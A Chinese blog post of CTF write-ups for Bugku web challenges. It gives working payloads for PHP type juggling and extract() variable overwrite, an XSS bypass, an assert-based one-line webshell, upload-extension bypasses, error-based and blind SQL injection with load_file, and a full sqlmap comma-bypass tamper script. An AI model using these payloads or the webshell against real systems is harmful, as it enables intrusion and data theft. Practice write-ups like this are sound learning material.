Hpdoger's Blog.

CTF中的Web题目

Word count: 3,652 / Reading time: 16 min
2018/06/06 Share

CTF中的web题目


Bugku

矛盾

tupian
!is_numeric($num): 判断输入不是数字或数字字符串
还要让输入的值==1,我们就构造字符串,num=1a,等号判断时,会取字符串第一个值进行比较

变量1

bianliang
preg_match进行正则匹配,\w+匹配一或多个字符数字下划线,后面dump的变量是可变变量,所以可以借机把我们想要的变量打印出来,一开始我构造args=flag,并无卵用。返回NULL,说明不存在flag这个变量,那我们就把所有的变量都打印出来。

这里用到超全局变量GLOBAL,构造args=GLOBAL,打印出来所有变量即可

xss攻击

研究了一天的xss,并没有什么实际的进展。这道xss是用htmlspecialchars()函数将<、>进行html实体化,让浏览器在html编码解析时,发现它是实体化的编码,就把他们解码为普通的可视化的<、>。这里我们看源码知道这是utf-8的编码方式,我们如果用unicode的方式编码<,后端不识别这个unicode为<,但html解析之后,unicode又变回<,js解析器解析完script标签之后,触发Js引擎执行这段js代码。所以我们构造playload:

1
\u003cscript\u003ealert(_key_)\u003c/script\u003e

\u开头好像表示的是Utf-8的unicode编码形式(瞎猜的),好菜啊。。这个并没有完全搞懂。
google了半天的浏览器渲染,明白了这个道理:一旦html解析到script标签的时候,就会启动js解析器来解析标签里面的东西,js解析完了之后就执行里面的Js语句。html继而再向后进行解析。

贴几个介绍编码绕过xss的文章:
浏览器加载、解析、渲染的过程
xss编码与绕过
xss编码剖析
字符转unicode

Web4

提示让我们看源码,发现有一串url编码的东西,
解码后传值就行了,拼接两个escape的值

备份是个好习惯

备份文件泄露,php代码泄露检测工具SourceLeakHacker

never give up

查看源码有一个1p.html页面,访问之后出现一堆base64编码的内容,解码后是页面源码,费劲心思构造b,没想到最后直接访问f4l2a3g.txt就可以…

过狗一句话

题目给出你了源码

1
2
3
4
5
6
<?php 
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>

也就是说会执行一个(assert函数)[http://www.php.net/manual/zh/function.assert.php]
所以我们只需要给s赋值为我们想要执行的语句。
看到别人的Wp,应该是先扫描一下当前目录看有什么东西
payload:

1
s = print_r(scandir('./'))

这里我们用print_r来打印数组相关信息,而不是print。
关于绝对路径的用法:

  1. ./ 当前目录
  2. ../ 上层目录
  3. ../../ 上2层目录

前女友

这个跟实验吧php是最好的语言有点类似。
打开它提示的链接,然后代码审计。
md5可以用数组绕过,也可以用0e开头的md5值绕过。
Strcmp可以用数组绕过。
我的payload:

1
?v1=s878926199a&v2=s155964671a&v3[]=1

po一个php函数漏洞的总结链接

login1(SKCTF)

hint:sql约束攻击
去百度了一下什么叫约束攻击
约束的意思就是对长度进行约束,看完上面的链接基本上就知道注册时的用户名怎么构造了。
我的构造:
admin (前方为空格)

web8

这个题有点意思,涉及到extract()变量覆盖,看一下给的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

  • 首先了解一下empty函数
    这个函数一开始把我误导了,empty是用来测试变量是否已经配置。若变量已存在、非空字符串或者非零,则返回 false 值,反之返回ture。

  • 再介绍一下extract函数:
    extract() 函数从数组中将变量导入到当前的符号表。
    该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

题目提示有txt文件,我们访问一下flag.txt,发现内容是:flags。
我们要传入一个非空的ac,让它的值===$f,$f来自于读取文件获得里面的字符串,文件名叫$fn。目前我们不知道$fn指向哪个文件,但是我们知道有flag.txt这个文件。所以我们让$ac=flags并且$fn=flag.txt就行了
payload:

1
?$ac=flags&$fn=flag.txt

求getshell

这是一个上传绕过题目,后缀很名单检测和类型检测
php别名php2, php3, php4, php5, phps, pht, phtm, phtml
发现php5可以绕过,还要更改 Content-Type里,把multipart改成大写(搞不懂问什么)。
贴一个上传绕过总结的[链接](https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/)

上传文件时waf会检查哪里?
请求的url
Boundary边界
MIME类型
文件扩展名
文件内容

常见扩展名黑名单:
asp|asa|cer|cdx|aspx|ashx|ascx|asax
php|php2|php3|php4|php5|asis|htaccess
htm|html|shtml|pwml|phtml|phtm|js|jsp
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

sql注入2

写着sql注入的名字,看到网上说竟然是DS_Store源码泄露??exm???最后直接访问http://120.24.86.145:8007/web2/flag,就可以下载到flag

报错注入

题目链接
既然提示了报错注入,我们就按照提示来注入,我使用的是updatexml报错函数,测试一下:
ceshi
可以看到,爆出了库名,说明这个方法可行。题目给了提示让我们读文件内容,要用到load_file函数,先看一下函数的几种用法举例:

1
2
3
4
select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb协议
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

我们的思路是把concat里面查询数据库的句子替换为substr(返回值函数),不让报错函数打印数据库的名字了,而是打印我们读到的文件内容,substr就相当于printf的作用。题目过滤了单引号,我们就用十六进制表示绝对路径,但是要用到hex()函数让数据库知道我们要将字符串转为16进制。值得注意的是concat语句第一个空不可省略,否则打印不出内容。完整的payload:

1
http://103.238.227.13:10088/?id=1%0aor%0aupdatexml(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30)),1)

先返回读到内容前30位的16进制,再更改语句依次往后读:

1
http://103.238.227.13:10088/?id=1%0aor%0aupdatexml(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),31,30)),1)

tupian
将读到的16进制转换为字符:
jieguo

insert into注入

先审计一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

explode过滤逗号,所以报错注入肯定行不通。看到网上的Wp说是基于时间的盲注,盲注点很显然是XFF。经过测试payload有效:

1
X-Forwarded-For:1'+sleep(5) and '1'='1

页面返回有一个延时,这里就不能用if(,,)语句了,因为过滤了逗号,用另一个注入语句:

1
select case when (条件) then 代码1 else 代码 2 end

于是有了如下的payload:

1
1' and (select case when (select length(flag) from flag limit 1)=32 then sleep(5) else 1 end) and '1'='1

emmm,手注是不可能的,这辈子是不可能手注的(手动滑稽),我们抓个包让sqlmap以XFF为注入点扫描,再加个过滤逗号的tamper就好了。若以XFF为注入点,则要在抓包后的导出文件里XFF后加*,标识为注入点如图:
zhurudian
然后找了网上大神的过滤逗号的tamper,放在Sqlmap目录里,命名为comamalessmysql.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Replaces some instances with something whthout comma

Requirement:
* MySQL

Tested against:
* MySQL 5.0


>>> tamper('ISNULL(TIMESTAMPADD(MINUTE,7061,NULL))')
'ISNULL(NULL)'

>>> tamper('MID(VERSION(), 2, 1)')
'MID(VERSION() FROM 2 FOR 1)'

>>> tamper('IF(26=26,0,5)')
'CASE WHEN 26=26 THEN 0 ELSE 5 END'

>>> tamper('IFNULL(NULL,0x20)')
'CASE WHEN NULL=NULL THEN 0x20 ELSE NULL END'

>>> tamper('LIMIT 2, 3')
'LIMIT 3 OFFSET 2'
"""


def commalessif(payload):
if payload and payload.find("IF") > -1:
while payload.find("IF(") > -1:
index = payload.find("IF(")
depth = 1
comma1, comma2, end = None, None, None

for i in xrange(index + len("IF("), len(payload)):
if depth == 1 and payload[i] == ',' and not comma1:
comma1 = i

elif depth == 1 and payload[i] == ',' and comma1:
comma2 = i

elif depth == 1 and payload[i] == ')':
end = i
break

elif payload[i] == '(':
depth += 1

elif payload[i] == ')':
depth -= 1

if comma1 and comma2 and end:
_ = payload[index + len("IF("):comma1]
__ = payload[comma1 + 1:comma2]
___ = payload[comma2 + 1:end]
newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_, __, ___)
payload = payload[:index] + newVal + payload[end + 1:]
else:
break

return payload

def commalessifnull(payload):
if payload and payload.find("IFNULL") > -1:
while payload.find("IFNULL(") > -1:
index = payload.find("IFNULL(")
depth = 1
comma, end = None, None

for i in xrange(index + len("IFNULL("), len(payload)):
if depth == 1 and payload[i] == ',':
comma = i

elif depth == 1 and payload[i] == ')':
end = i
break

elif payload[i] == '(':
depth += 1

elif payload[i] == ')':
depth -= 1

if comma and end:
_ = payload[index + len("IFNULL("):comma]
__ = payload[comma + 1:end].lstrip()
newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
payload = payload[:index] + newVal + payload[end + 1:]
else:
break

return payload

retVal = payload

if payload:
retVal = re.sub(r'(?i)TIMESTAMPADD\(\w+,\d+,NULL\)', 'NULL', retVal)
retVal = re.sub(r'(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)', 'MID(\g<1> FROM \g<2> FOR \g<3>)', retVal)
retVal = commalessif(retVal)
retVal = commalessifnull(retVal)
retVal = re.sub(r'(?i)LIMIT\s*(\d+),\s*(\d+)', 'LIMIT \g<2> OFFSET \g<1>', retVal)

return retVal

然后Sqlmap里跑一下,语句如下:
sqlmap

多次

这道题困了我一天,一开始我以为是盲注,于是花时间在写脚本花了一天。。后来找到一个wp其实就是手注,只是过滤掉了union一些关键词,看一下题目:

  • 查询有结果时,返回nothing
  • 查询无结果时,返回error
  • %23可注释,引号可用

ok,知道上述条件,我们测一下它过滤了什么。
介绍一种检查过滤的方法,叫异或判断:
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。ysql里异或运算符为^ 或者 xor

  1. 构造id=1’^(条件)^’
  2. 判断的两个条件一个是括号里的条件,另一个是后面的’’,’’为空,即为0。所以括号里的条件若是成立,则页面返回错误;反之则页面返回正常
  3. 完整payload:
    1
    http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)^'

返回正确,说明判断条件是错的,所以union被过滤了
我们用叠加语句看一下 uniunionon是否会被过滤,payload:

1
http://120.24.86.145:9004/1ndex.php?id=1'^(length('uniunionon')=5)^'

返回错误,说明判断条件正确,所以这个可以当作union使用。

  1. 接下来就是一些基础查询了,题目说有两个flag,再查到另一个列时,出现一个网址:
    Once_More.php
  2. 里面还有一道注入题,因为它会回显你提交的参数,所以想知道过滤了什么直接就可以看出来,过滤了Union,我用的报错注入解决的
  3. over,这道题学习了异或注入判断过滤。

login3{SKCTF}

tip给了说是布尔盲注
在username这个注入点测试一下,初步手工模糊测试,发现过滤了空格、逗号、等号,没有过滤#和’。因为是布尔盲注,那我们构造ascii函数语句。首先我们猜测一个用户名吧,就猜Admin,发现回显是:password error。
这说明这个用户名存在,那么我们就可以把这句话作为一个判断对错的语句,结合异或注入进行ascii的猜测。(用户名错误时会返回 username does not exist!)

  1. 过滤了‘=’,那么我们ascii的等号语句就没法使用了,经过测试like是绕不过去的。那我们就通过这句话替换掉等号:
    1
    username=admin'^(ascii('a')-97)

等价于:

1
username=admin'^(0)

异或注入,因为a的十进制ascii为97,所以与(0)异或。

  • (0)条件时返回”password error”
  • 其余条件时返回”username does not exist!”
  1. 直接上py脚本跑:
    jiaoben
    这里需要解释一下,既然过滤了逗号,那么我们substr(,,)的语句就没用了。我们可以换一种形式表达,即substr(database()from1),这样的返回值如图:
    substr1
    substr2
    所以问题就来了,ascii函数对字符串的返回值是什么呢? 这个问题想了我好久,一开始是找的别人的脚本,看他们写遍历的时候卡在这个地方,这尼玛的ascii面对字符串难道不是返回NULL?!。后来发现自己惯性思维了,测试一下,ascii()这个破函数在处理字符串的时候会返回字符串第一个字符的ascii值,难受ing…

还有一个问题就是过滤掉了information,这让查表就变的头疼。
但是我们想一下php后端处理过程,它对username的处理无非是下边框架的语句:
select username from 表 where username = “admin”^()
所以它为我们已经找好了表了,既然题把information锁死了,那flag就只可能是这个admin的密码了。那我们要做的就是查admin密码

看一下下面这个语句:
password

我们的密码猜对时,返回false,跟上面异或的思路一样

CATALOG
  1. 1. CTF中的web题目
    1. 1.1. Bugku
      1. 1.1.1. 矛盾
      2. 1.1.2. 变量1
      3. 1.1.3. xss攻击
      4. 1.1.4. Web4
      5. 1.1.5. 备份是个好习惯
      6. 1.1.6. never give up
      7. 1.1.7. 过狗一句话
      8. 1.1.8. 前女友
      9. 1.1.9. login1(SKCTF)
      10. 1.1.10. web8
      11. 1.1.11. 求getshell
      12. 1.1.12. sql注入2
      13. 1.1.13. 报错注入
      14. 1.1.14. insert into注入
      15. 1.1.15. 多次
      16. 1.1.16. login3{SKCTF}